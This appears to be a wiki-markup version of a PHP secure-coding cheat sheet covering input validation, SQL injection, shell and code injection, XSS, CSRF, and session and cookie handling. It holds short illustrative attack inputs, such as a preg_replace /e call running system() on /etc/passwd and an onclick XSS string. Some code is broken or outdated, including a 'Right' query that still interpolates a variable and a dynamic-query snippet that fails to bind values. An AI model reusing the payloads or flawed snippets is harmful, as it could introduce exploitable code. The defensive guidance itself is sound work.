PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things). &lt;br /&gt;
&lt;br /&gt;
PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed. &lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
===Everything is a string for a database===&lt;br /&gt;
There are ways to send different data types to a database, ints, floats, etc. Never rely on them, instead always send a string to the database. Database engines type cast automatically if they need to. This makes for much safer queries. Make this a habit of yours, and see how many time it saves you. Still, do not concatenate without escaping the values. Check the [[#Use Prepared Statements|Use Prepared Statements]].&lt;br /&gt;
&lt;br /&gt;
====Wrong====&lt;br /&gt;
 $x=1; &lt;br /&gt;
 SELECT * FROM users WHERE ID &amp;gt; $x&lt;br /&gt;
====Right====&lt;br /&gt;
 $x=1; // or $x='1';&lt;br /&gt;
 SELECT * FROM users WHERE ID &amp;gt;'$x';&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. Number fields might also be vulnerable if not used as strings. Instead use prepared statements or equivalent.&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell. In this scenarios, you can mitigate XSS by simply using the function below. '''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data without exposing it too much against XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
The advantage of following a white-list approach is that the programmer should be less prone to forget about using a function call to clean the output of a variable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
